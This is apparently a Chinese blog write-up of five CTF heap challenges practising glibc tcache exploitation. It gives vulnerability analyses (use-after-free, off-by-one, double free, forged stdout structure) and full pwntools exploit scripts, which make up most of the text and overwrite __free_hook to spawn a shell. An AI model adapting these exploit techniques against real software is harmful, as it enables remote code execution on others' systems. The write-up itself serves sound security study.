Tcache练习题

某天,zs0zrc大佬扔了一堆tcache的题目给我,让我好好学习一下里面的操作,于是。。。就开始学习了orz,这里主要通过做题来巩固对tcache机制的理解,以下题目按难度排序,这些题目我都在Ubuntu17.10中运行,比这更高的应该也行,只要保证libc的版本是大于等于2.26就行

  • hitbxctf2018 gundam
  • CodegateCTF2019 god-the-reum
  • LCTF-2018 easy_heap
  • hitcon-2018 children_tcache
  • hitcon-2018 baby_tcache

开始吧

gundam

64位保护机制全开程序

首先第一个功能,创建chunk,每次会创建两个chunk,chunk0大小为0x28,chunk1大小为0x1000,存储内容如下

第一个chunk0[0]=1,chunk[1]=*chunk1,chunk[2]=一串字符串,从bss中的aFreedom数组中copy过来

chunk1则存储name

总体来看无漏洞,但是如果bss段中aFreedom数组的内容可被构造,那么会导致chunk0堆溢出

1555496770110

第二个功能,show功能,能把chunk0的tpye的内容,和chunk1的name给泄漏出来,该功能应该是主要用于泄漏libc

需要注意保证chunk_list 数组中有值,且指针所指也有值

1555497090805

第三个功能,free功能,存在UAF漏洞,很明显只free和清空了chunk1的指针,没有吧chunk0给free掉,也没有清空bss段中的chunk_list

1555497244114

第四个功能,还是free功能,这就是为了弥补上一个功能里面没有情况chunk0和数组吧,但没有用啊,我只要不用这个功能,UAF还是照样用啊

1555498452954

程序逻辑都分析完了,还需要提及一点的就是这个程序的libc是2.26的启用了,tcache,那么uaf和double free 将变得非常容易

利用思路:

  • 首先把tcache填满,使得chunk被分配进unsorted bin,从而泄漏出libc
  • 利用tcache机制的缺陷,double free改free hook为system
  • 控制一个chunk的内容为/bin/sh
  • free(/bin/sh)getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#coding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./gundam"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def create(name):
ru("Your choice : ")
sl("1")
ru("The name of gundam :")
sd(name)
ru("The type of the gundam :")
sl("0")

def show():
ru("Your choice : ")
sl("2")

def free(idx):
ru("Your choice : ")
sl("3")
ru("Which gundam do you want to Destory:")
sl(str(idx))

def destroy():
ru("Your choice : ")
sl("4")


puts_got=elf.got["puts"]
#create(p64(puts_got)*2)

for i in xrange(9):
create("a"*4)
for i in xrange(9):
free(i)

destroy()
for i in xrange(7):
create("b"*4)
create("c"*8)
show()

#print p.recv()
ru("Gundam[7] :cccccccc")
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak-88-0x10-libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one = libc_base + 0xfcc6e
free_hook = libc_base +libc.symbols['__free_hook']
system = libc_base +libc.symbols['system']
print "leak----->",hex(leak)
print "malloc_hook----->",hex(malloc_hook)
print "libc_base----->",hex(libc_base)
print "one----->",hex(one)

free(1)
free(0)
free(0)
destroy()

create(p64(free_hook))
pause()
create("/bin/sh\x00")
pause()
create(p64(system))
pause()

free(0)
getshell()

god-the-reum

出自CodegateCTF2019

64位,保护全开

本来是简单题,硬是因为思路跑偏做了一万年md,被自己菜哭

其实思路就是很简单

首先free同一个chunk7次,填满tcache

然后再free一次,使得他进入unsorted bin,再用show功能泄漏libc

接着再操作另一个chunk

使其double free

然后用管理员功能,改fd

然后改free hook为onegadget,这里我的环境改malloc hook是不能成功的

然后就getshell 了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./god-the-reum"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def create(size):
ru("select your choice : ")
sl("1")
ru("how much initial eth? : ")
sl(str(size))
def add(idx,num):
ru("select your choice : ")
sl("2")
ru("input wallet no : ")
sl(str(idx))
ru("how much deposit? : ")
sl(str(num))

def sub(idx,num):
ru("select your choice : ")
sl("3")
ru("input wallet no : ")
sl(str(idx))
ru("how much you wanna withdraw? : ")
sl(str(num))

def show():
ru("select your choice : ")
sl("4")

def admin(idx,sth):
ru("select your choice : ")
sl("6")
ru("input wallet no : ")
sl(str(idx))
ru("new eth : ")
sl(sth)

create(0x100)#0
create(0x120)#1
sub(0,0x100)
add(0,1)
sub(0,1)

show()
ru("ballance ")
heap = int(p.recv(14))
print "heap-->",hex(heap)
for i in xrange(6):
sub(0,heap)

show()
ru("ballance ")
malloc_hook = int(p.recv(15))-88-0x10
print "malloc_hook-->",hex(malloc_hook)
libc_base = malloc_hook-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym['__free_hook']
print "libc_base-->",hex(libc_base)
print "free_hook-->",hex(free_hook)
one = libc_base+0xfcc6e
print "one-->",hex(one)

sub(1,0x120)
add(1,1)
sub(1,1)

admin(1,p64(free_hook))
create(0x120)#2
create(0x120)#3
admin(3,p64(one))
sub(2,0x120)

getshell()

easy_heap

出自LCTF-2018

仍然是64位保护全开

程序主要三个功能

create 功能,在这个功能开始之前,先创建了一个chunk list的chunk,负责存储之后新建的chunk和size

这里最多创建10个,创建成功会存储指针和size

1557543807644

不过在写入数据的时候有个offbyone的漏洞

1557543897313

也是本题唯一的漏洞,算是非常巧妙的利用方式

继续看看free的功能

1557543956293

可以看到很严格,先是清空了内容,再清空指针,莫得UAF

还有一个show功能,用于泄漏

1557543998235

也是只能打印出chunk内部的内容,所以我们泄漏libc,还是得从unsorted bin入手

只有它能在chunk里面写入libc的地址

这里比较麻烦的点是free了以后被清空了指针,UAF不能用,需要依靠巧妙的tcache的机制漏洞

关键的一个点是,在malloc一个处于unsorted bin的chunk时,由于tcache机制,会把unsorted bin中剩余的bin放入tcache中

这里构造一个unlink,使得unsorted bin中的两个chunk合并,从而show出libc地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./easy_heap"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def create(size,content):
p.recv()
#ru("> ")
sl("1")
ru("> ")
sl(str(size))
ru("> ")
sl(content)

def free(idx):
p.recv()
#ru("> ")
sl("2")
ru("> ")
sl(str(idx))

def show(idx):
p.recv()
#ru("> ")
sl("3")
ru("> ")
sl(str(idx))

for i in xrange(10):
create(0x20,"a"*0x20)
#0-9
free(1)
free(3)
for i in range(5,10):
free(i)

free(0)
free(2)
free(4)
#tcache:9-8-7-6-5-3-1
#unsorted bin:0-2-4

for i in range(7):
create(0x20,"\n")
#offset:9-8-7-6-5-3-1
#number:0-1-2-3-4-5-6

#tcache:
#unsorted bin:0-2-4

create(0x20,"\n")#4(7)
#tcache:2-0
#unsorted bin:

create(0xf8,"\n")#2(8) offbyone-> 3(5):cause 2 is free
#tcache:0
#unsorted bin:


for i in range(5):
free(i)
#tcache:5-6-7-8-9-0
#unsorted bin:

free(6)#fill tcache
#tcache:1-5-6-7-8-9-0
#number:6-4-3-2-1-0
#unsorted bin:

free(5)#free 3(5),unlink with 2(8), put 2+3 into unsorted bin
#tcache:1-5-6-7-8-9-0
#number:6-4-3-2-1-0
#unsorted bin:2+3(8+5)

show(8)#show 2(8),leak the libc
debug()
#number:7,8
malloc_hook = u64(p.recv(6).ljust(8,"\x00"))-88-0x10
libc_base = malloc_hook- libc.sym["__malloc_hook"]
one = libc_base+0xfcc6e#0x47c46 0x47c9a 0xfdb1e
free_hook = libc_base+libc.sym["__free_hook"]

print "malloc_hook",hex(malloc_hook)
print "libc_base",hex(libc_base)
print "one",hex(one)
print "free_hook",hex(free_hook)

for i in range(7):
create(0x20,"\n")
#offset:1-5-6-7-8-9-0
#number:0-1-2-3-4-5-6


#tcache:
#unsorted bin:2+3(8+5)

#number:0-1-2-3-4-5-6-7-8
#offset:1-5-6-7-8-9-0-4-2
#debug()
create(0x20,"\n")#2(9)
#chunk_9 和 chunk_8 指向同一个地址

pause()
free(0)#确保后面可以分配三个chunk
free(8)
free(9)#double free
#number:1,2,3,4,5,6,7
#tcache:2-2-1

create(0x20,p64(free_hook))
#tcache:2-free_hook
create(0x20,"\n")
#tcache:free_hook
create(0x20,p64(one))

free(1)
getshell()

children_tcache

出自 hitcon-2018

仍然是64位保护全开

这题稍微没有上一题那么复制,基本上原理差不多,但是仍然有新的操作

先分析一波功能

create:

1557560654514

漏洞点仍然是这个offbyone,是strcopy函数会把字符串末尾的0也copy过来导致的,这里就主要用来清理in_use位

free:

1557560751245

还是一样的很严格,没有UAF,还清空了chunk内容

show:

1557561191705

也是先判断chunk_list里面有没有指针,存在指针才能show,用于泄漏libc

通过上面分析我们可以发现,最大可申请的chunk是0x2000,如果我们申请大于0x400的,然后再free,他就会直接进入到unsorted bin里面,不会去tcache

可以通过这个机制,去unlink,使得两个这样的bin在unsorted bin中合并,然后再show出来,泄漏出libc,之后在double free一把梭

具体做法看exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./children_tcache"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def create(size,content):
p.recv()
sl("1")
ru("Size:")
sl(str(size))
ru("Data:")
sd(content)

def free(idx):
p.recv()
sl("3")
ru("Index:")
sl(str(idx))

def show(idx):
p.recv()
sl("2")
ru("Index:")
sl(str(idx))
######################################
create(0x410,"a"*8)#0
create(0x88,"b"*0x88)#1
create(0x5f0,"c"*8)#2
create(0x20,"d"*8)#3
free(0)
free(1)

for i in xrange(9):
create(0x88-i,"b"*(0x88-i))#1(0)
free(0)

create(0x88,"b"*0x80+p64(0x420+0x90))#1(0)

free(2)#unlink
#number:0,3

create(0x410,"a"*8) #1(0)
show(0)#because of unlink ,write into libc addr

malloc_hook = u64(p.recv(6).ljust(8,"\x00"))-88-0x10
libc_base = malloc_hook- libc.sym["__malloc_hook"]
one = libc_base+0xfcc6e#0x47c46 0x47c9a 0xfdb1e
free_hook = libc_base+libc.sym["__free_hook"]

print "malloc_hook",hex(malloc_hook)
print "libc_base",hex(libc_base)
print "one",hex(one)
print "free_hook",hex(free_hook)

#debug()
create(0x88,"a"*8)#2
#now ,chunk0 and chunk2 is the same space
#so let's double free

free(0)
free(2)

#tcache:2-->0

create(0x88,p64(free_hook))
#tcache:2-free_hook
create(0x88,"\n")
#tcache:free_hook
create(0x88,p64(one))

free(1)
getshell()

baby_tcache

出自hitcon-2018 ,64位 保护全开

这题逻辑很上题的基本一毛一样,同样是在create的时候有 offbyone的漏洞,除了没有show功能

这个题是比较骚的,用到了一些IO_FILE的知识,通过伪造stdout结构体来泄漏出libc

这里前半部分和上一题是一样的,做到unlink那一步

把内容为 main_arena+88 的chunk free进tcache中

使得tcache变成这样:

1557573298047

这个时候再通过改fd,爆破stdout结构体的地址

由于stdout结构体的地址和main_arena+88是很接近的,只需要爆一个字节,16分之一的几率可以爆破成功

接着再伪造stdout结构体的内容,从而泄漏libc

具体泄漏的原理看这个就够了,我就懒得写了

得到libc后,就和上题一样,进行常规的double free改malloc free为onegadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./baby_tcache"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
print "lll"
#libc = elf.libc
#p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

def create(size,content):
p.recv()
sl("1")
ru("Size:")
sl(str(size))
ru("Data:")
sd(content)

def free(idx):
p.recv()
sl("2")
ru("Index:")
sl(str(idx))

######################################
while True:
try:
p = process(bin_elf)
libc = elf.libc

create(0x410,"a"*8)#0
create(0x88,"b"*0x88)#1
create(0x5f0,"c"*8)#2
create(0x20,"d"*8)#3
free(0)
free(1)

create(0x88,"b"*0x80+p64(0x420+0x90))#1(0)
free(2)#unlink,0+1+2
#number:0,3
free(0)
create(0x410,"a"*8)
#debug()
#now in tcache,chunk0 'fd = main_arena+88
create(0x98,"\x20\x27")
create(0x88,"a")
#debug()
fake_file = p64(0xfbad1800) + p64(0)*3 + "\x00"
create(0x88,fake_file)

data = p.recv(0x20)
leak = u64(data[0x18:0x20])

log.info("leak_add ==> {}".format(hex(leak)))
libc_base = leak - libc.symbols['_IO_file_jumps']
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfcc6e + libc_base
log.info("libc_base ==> {}".format(hex(libc_base)))
#debug()

free(1)
free(2)#tcache_dup
#pause()
create(0x98,p64(free_hook))
create(0x98,"A")
create(0x98,p64(one_gadget))
#pause()
free(3)
getshell()
except Exception as e:
print e
#pause()
p.close()

这个爆破的出了很多问题,搞得我搞了好久。。md,玄学问题太多了

总结

从以上的题目来看,我这里总结出tcache的利用有如下

  • 小于0x400的chunk随便free,无视检查,分分钟构造fd来double free
  • 填满tcache,free到unsorted bin去泄漏libc
  • 有特殊限制的,需要通过tcache和unsorted bin的交互机制去泄漏libc,unlink是个好方法,但需要注意各种检查
  • 通过伪造修改stdout结构体也能泄漏libc
  • 当chunk多的时候,需要特别记录下内存中chunk的位置,和题目中chunk中的下标,一一对应不然很容易混淆